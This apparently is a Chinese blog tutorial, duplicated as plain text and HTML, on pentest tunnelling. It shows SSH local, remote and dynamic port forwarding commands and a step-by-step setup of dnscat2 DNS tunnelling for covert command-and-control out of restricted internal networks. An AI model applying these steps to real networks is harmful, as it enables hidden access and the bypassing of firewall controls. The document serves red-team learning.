介绍
在内网中建立一个稳定、可靠的数据通道,对渗透测试非常重要。
应用层的隧道通信技术主要利用应用软件提供的端口来发送数据。
产检的隧道协议:SSH、HTTP/HTTPS和DNS
1 SSH协议
一般SSH被允许通过防火墙和边界设备。
其传输是加密的,所以很难区分合法的SSH会话和攻击者利用其他网络简历的隧道。攻击者使用SSH端口隧道突破防护墙限制后,能够建立一些之前无法建立的TCP连接。
常规命令
ssh root@192.168.56.22
常用参数
-C
:压缩传输,提高传输速度
-f
:将SSH传输转入后台执行,不占用当前的Shell
-N
:建立静默连接(建立了连接,但是看不到具体会话)
-g
:允许远程主机连接本地用于转发的端口
-L
:本地端口转发
-R
:远程端口转发
-D
:动态转发(SOCKS代理)
-p
:指定SSH端口
1.1 本地转发
将内网服务器指定端口映射到VPS
的6666
端口,然后访问vps
的6666
端口
任意linux主机执行
ssh -CfNg -L 6666(vps端口):www.920vip.net(目标主机):8081(目标端口) root@121.37.71.124(跳板机)
ssh -CfNg -L 6666:www.xx.net:8081 root@121.xx.xx.124
查看6666端口是否已经连接。
curl localhost:6666
1.2 远程转发
定义:将内网主机中一个端口服务,通过一个跳板机转发到我们自己的vps的一个端口上
转发一个内网的web服务
在内网边界服务器执行
192.168.56.6:公司一内网主机
ssh -CfNg -R 5566(vps端口):192.168.56.6(目标主机):8888(目标端口) root@121.37.71.124(跳板机)
ssh -CfNg -R 5566:192.168.56.6:8888 root@121.37.71.124
在跳板机执行查看
curl localhost:5566
1.3 动态转发
在vps上建立一个动态SOCKS 4/5代理通道,输入web服务器密码
ssh -CfNg -D 7000 root@121.xx.xx.124
查看本地7000端口是否已经连接
[root@charles bin]# netstat -tulnp | grep ":7000"

然后再浏览器设置此端口,即可代理,相当于一个vpn
1.4 防御SSH隧道攻击思路
2 DNS协议
p132
2.1 查看DNS的连通性
https://github.com/iagox86/dnscat2.git
查询当前内部域名及IP地址
[root@charles bin]# cat /etc/resolv.conf | grep -v '#'
search openstacklocal
nameserver 100.125.1.250
nameserver 114.114.114.114
options timeout:1 single-request-reopen
查看能够与内部DNS通信(有些可以解析内部域名,我这无法做下去了)
nslookup openstacklocal
查看能否通过内部DNS服务器解析外部域名
nslookup baidu.com
如果成功了,意味着可以使用DNS隧道实现隐蔽通信
2.2 dnscat2
dncat2是一款开源软件。它使用DNS协议创建加密的C&C通道,通过预共享秘钥进行身份验证;
使用Shell及DNS查询类型(TXT、MX、CNAME、A、AAAA),多个同时进行的会话类似于SSH中的隧道。
其客户端是C原因编写的,服务端是用Ruby语言编写的。
模式:
- 直连模式:客户端直接向指定IP地址的DNS服务器发起DNS解析请求。
- 中继模式:DNS经过互联网的跌打解析,指向指定的DNS服务器。与直连模式相比,中继模式的速度较慢。
如果目标网放行所有的DNS请求,dnscat2会使用直连模式,通过UDP的53端口进行通信(不需要域名,速度快,而且看上去仍然像普通的DNS查询)。在请求日志中,所有域名都是以 “dnscat”开头,因此防火墙很容易地将直连模式的通信检测出来。
如果目标网络中请求仅限于白名单服务器或者特定的域,dnscat2会使用中继模式开申请一个域名,并将运行dnscat2服务端的服务器指定为受信任的DNS服务器。
在网络安全攻防演练中,DNS隧道的应用场景如下:在安全策略严格的内网中,常见的C&C通信端口会被众多安全设备所监控,红队对目标内网的终端进行渗透测试,发现该网段只允许白名单流量出站,同时其他端口都被屏蔽,传统的C&C通信无法建立。这时还有个选择:使用DNS隐蔽隧道建立通信 。
dnscat2通过DNS进行控制并执行命令。
特点:
- 支持多个会话、
- 流量加密
- 使用秘钥放置MiTM攻击
- 在内存中直接进行PowerShell脚本
- 隐蔽通信
2.2.1 部署域名解析
- 第2条A类解析是在告诉域名系统,
ns1.***.net
的ip地址是 121.**.**.9
。
- 第1条NS解析是在告诉域名系统,想要知道
dns.***.net
的ip地址,就去问ns1.***.net
。
NS类型的记录不是用于设置某个域名的DNS服务器的,而是用于设置某个子域名的DNS服务器的
ns1.***.net
:记录:A记录 记录值:VPS地址
dns.***.net
:记录:NS记录 记录值:ns1.***.net
验证是否成功
ping ns1.***.net
ping通,且ip地址为vps的地址,说明第1条A解析成功
2.2.2 VPS服务器上抓包
端口53的UDP包
tcpdump -n -i eth0 udp dst port 53
任意一台机器执行下面命令
nslookup dns.***.net
然后查看VPS抓包记录,如果有dns.***.net
,说明第2条NS解析也成功

2.2.3 安装dnscat2服务端
在VPS服务器上安装dnscat2服务端(Ruby编写,需要Ruby环境)。
Centos Ruby环境
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
gem install bundler
bundle install
2.2.4 Linux安装dnscat2客户端
dnscat2客户端是用C语言编写的,因此在使用前需要先进行编译。
如果目标服务器是Windows系统,则可以直接使用编译好的dnscat2客户端,或者PowerShell版本的dnscat2(目标机器需要支持PowerShell2.0以上版本)
如果目标服务器是Linux系统,则需要在目标机器上执行如下命令安装客户端。
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make
Ruby环境不过,会出各种问题,dnscat原作者给出ruby1.9.1版本
查看日志文件是ruby无法识别操作系统
CentOS 8.0 64bit with ARM
bundle config build.nokogiri -v '1.6.2.1' --with-iconv-lib=/usr/local/lib --with-iconv-include=/usr/local/include
参考文章
https://xie1997.blog.csdn.net/article/details/104429983
<h2><a id="_0"></a>介绍</h2>
<p>在内网中建立一个稳定、可靠的数据通道,对渗透测试非常重要。</p>
<p>应用层的隧道通信技术主要利用应用软件提供的端口来发送数据。</p>
<p>产检的隧道协议:SSH、HTTP/HTTPS和DNS</p>
<h2><a id="1_SSH_8"></a>1 SSH协议</h2>
<p>一般SSH被允许通过防火墙和边界设备。</p>
<p>其传输是加密的,所以很难区分合法的SSH会话和攻击者利用其他网络简历的隧道。攻击者使用SSH端口隧道突破防护墙限制后,能够建立一些之前无法建立的TCP连接。</p>
<p>常规命令</p>
<pre><code class="lang-">ssh root@192.168.56.22
</code></pre>
<p>常用参数</p>
<p><code>-C</code>:压缩传输,提高传输速度</p>
<p><code>-f</code>:将SSH传输转入后台执行,不占用当前的Shell</p>
<p><code>-N</code>:建立静默连接(建立了连接,但是看不到具体会话)</p>
<p><code>-g</code>:允许远程主机连接本地用于转发的端口</p>
<p><code>-L</code>:本地端口转发</p>
<p><code>-R</code>:远程端口转发</p>
<p><code>-D</code>:动态转发(SOCKS代理)</p>
<p><code>-p</code>:指定SSH端口</p>
<h3><a id="11__38"></a>1.1 本地转发</h3>
<p>将内网服务器指定端口映射到<code>VPS</code>的<code>6666</code>端口,然后访问<code>vps</code>的<code>6666</code>端口</p>
<p>任意linux主机执行</p>
<pre><code class="lang-">ssh -CfNg -L 6666(vps端口):www.920vip.net(目标主机):8081(目标端口) root@121.37.71.124(跳板机)
ssh -CfNg -L 6666:www.xx.net:8081 root@121.xx.xx.124
</code></pre>
<p>查看6666端口是否已经连接。</p>
<pre><code class="lang-">curl localhost:6666
</code></pre>
<h3><a id="12__58"></a>1.2 远程转发</h3>
<p>定义:将内网主机中一个端口服务,通过一个跳板机转发到我们自己的vps的一个端口上</p>
<p>转发一个内网的web服务</p>
<p>在内网边界服务器执行</p>
<p>192.168.56.6:公司一内网主机</p>
<pre><code class="lang-">ssh -CfNg -R 5566(vps端口):192.168.56.6(目标主机):8888(目标端口) root@121.37.71.124(跳板机)
ssh -CfNg -R 5566:192.168.56.6:8888 root@121.37.71.124
</code></pre>
<p>在跳板机执行查看</p>
<pre><code class="lang-">curl localhost:5566
</code></pre>
<h3><a id="13__84"></a>1.3 动态转发</h3>
<p>在vps上建立一个动态SOCKS 4/5代理通道,输入web服务器密码</p>
<pre><code class="lang-">ssh -CfNg -D 7000 root@121.xx.xx.124
</code></pre>
<p>查看本地7000端口是否已经连接</p>
<pre><code class="lang-">[root@charles bin]# netstat -tulnp | grep ":7000"
</code></pre>
<p><img src="https://static.couragesteak.com/article/29d03aa7f6196f49f237693f0ec63bc7.png" alt="ssh动态转发" /></p>
<p>然后再浏览器设置此端口,即可代理,相当于一个vpn</p>
<h3><a id="14_SSH_104"></a>1.4 防御SSH隧道攻击思路</h3>
<ul>
<li>设置ssh远程白名单</li>
<li>在ACL中限制特定ip</li>
</ul>
<h2><a id="2_DNS_111"></a>2 DNS协议</h2>
<p>p132</p>
<h3><a id="21_DNS_115"></a>2.1 查看DNS的连通性</h3>
<p>https://github.com/iagox86/dnscat2.git</p>
<p>查询当前内部域名及IP地址</p>
<pre><div class="hljs"><code class="lang-shell">[root@charles bin]# cat /etc/resolv.conf | grep -v '#'
search openstacklocal
nameserver 100.125.1.250
nameserver 114.114.114.114
options timeout:1 single-request-reopen
</code></div></pre>
<p>查看能够与内部DNS通信(有些可以解析内部域名,我这无法做下去了)</p>
<pre><code class="lang-">nslookup openstacklocal
</code></pre>
<p>查看能否通过内部DNS服务器解析外部域名</p>
<pre><code class="lang-">nslookup baidu.com
</code></pre>
<p>如果成功了,意味着可以使用DNS隧道实现隐蔽通信</p>
<h3><a id="22_dnscat2_147"></a>2.2 dnscat2</h3>
<p>dncat2是一款开源软件。它使用DNS协议创建加密的C&C通道,通过预共享秘钥进行身份验证;</p>
<p>使用Shell及DNS查询类型(TXT、MX、CNAME、A、AAAA),多个同时进行的会话类似于SSH中的隧道。</p>
<p>其客户端是C原因编写的,服务端是用Ruby语言编写的。</p>
<p>模式:</p>
<ul>
<li>直连模式:客户端直接向指定IP地址的DNS服务器发起DNS解析请求。</li>
<li>中继模式:DNS经过互联网的跌打解析,指向指定的DNS服务器。与直连模式相比,中继模式的速度较慢。</li>
</ul>
<p>如果目标网放行所有的DNS请求,dnscat2会使用直连模式,通过UDP的53端口进行通信(不需要域名,速度快,而且看上去仍然像普通的DNS查询)。在请求日志中,所有域名都是以 “dnscat”开头,因此防火墙很容易地将直连模式的通信检测出来。</p>
<p>如果目标网络中请求仅限于白名单服务器或者特定的域,dnscat2会使用中继模式开申请一个域名,并将运行dnscat2服务端的服务器指定为受信任的DNS服务器。</p>
<p>在网络安全攻防演练中,DNS隧道的应用场景如下:在安全策略严格的内网中,常见的C&C通信端口会被众多安全设备所监控,红队对目标内网的终端进行渗透测试,发现该网段只允许白名单流量出站,同时其他端口都被屏蔽,传统的C&C通信无法建立。这时还有个选择:使用DNS隐蔽隧道建立通信 。</p>
<p>dnscat2通过DNS进行控制并执行命令。</p>
<p>特点:</p>
<ul>
<li>支持多个会话、</li>
<li>流量加密</li>
<li>使用秘钥放置MiTM攻击</li>
<li>在内存中直接进行PowerShell脚本</li>
<li>隐蔽通信</li>
</ul>
<h4><a id="221__180"></a>2.2.1 部署域名解析</h4>
<ul>
<li>第2条A类解析是在告诉域名系统,<code>ns1.***.net</code> 的ip地址是 <code>121.**.**.9</code>。</li>
<li>第1条NS解析是在告诉域名系统,想要知道 <code>dns.***.net</code>的ip地址,就去问<code>ns1.***.net</code> 。</li>
</ul>
<p>NS类型的记录不是用于设置某个域名的DNS服务器的,而是用于设置某个子域名的DNS服务器的</p>
<p><code>ns1.***.net</code>:记录:A记录 记录值:VPS地址</p>
<p><code>dns.***.net</code>:记录:NS记录 记录值:<code>ns1.***.net</code></p>
<p>验证是否成功</p>
<pre><code class="lang-">ping ns1.***.net
</code></pre>
<p>ping通,且ip地址为vps的地址,说明第1条A解析成功</p>
<h4><a id="222_VPS_205"></a>2.2.2 VPS服务器上抓包</h4>
<p>端口53的UDP包</p>
<pre><code class="lang-">tcpdump -n -i eth0 udp dst port 53
</code></pre>
<p>任意一台机器执行下面命令</p>
<pre><code class="lang-">nslookup dns.***.net
</code></pre>
<p>然后查看VPS抓包记录,如果有<code>dns.***.net</code>,说明第2条NS解析也成功</p>
<p><img src="https://static.couragesteak.com/article/f5837d4f9fcc0f0d0d4c4d028a8d7a4f.png" alt="dnscat2 VPS服务器上抓包" /></p>
<h3><a id="223_dnscat2_227"></a>2.2.3 安装dnscat2服务端</h3>
<p>在VPS服务器上安装dnscat2服务端(Ruby编写,需要Ruby环境)。</p>
<p>Centos Ruby环境</p>
<pre><code class="lang-">git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
gem install bundler
bundle install
</code></pre>
<h3><a id="224_Linuxdnscat2_244"></a>2.2.4 Linux安装dnscat2客户端</h3>
<p>dnscat2客户端是用C语言编写的,因此在使用前需要先进行编译。</p>
<p>如果目标服务器是Windows系统,则可以直接使用编译好的dnscat2客户端,或者PowerShell版本的dnscat2(目标机器需要支持PowerShell2.0以上版本)<br />
如果目标服务器是Linux系统,则需要在目标机器上执行如下命令安装客户端。</p>
<pre><code class="lang-">git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make
</code></pre>
<p>Ruby环境不过,会出各种问题,dnscat原作者给出ruby1.9.1版本</p>
<p>查看日志文件是ruby无法识别操作系统</p>
<p>CentOS 8.0 64bit with ARM</p>
<pre><code class="lang-">bundle config build.nokogiri -v '1.6.2.1' --with-iconv-lib=/usr/local/lib --with-iconv-include=/usr/local/include
</code></pre>
<p>参考文章</p>
<p>https://xie1997.blog.csdn.net/article/details/104429983</p>
留言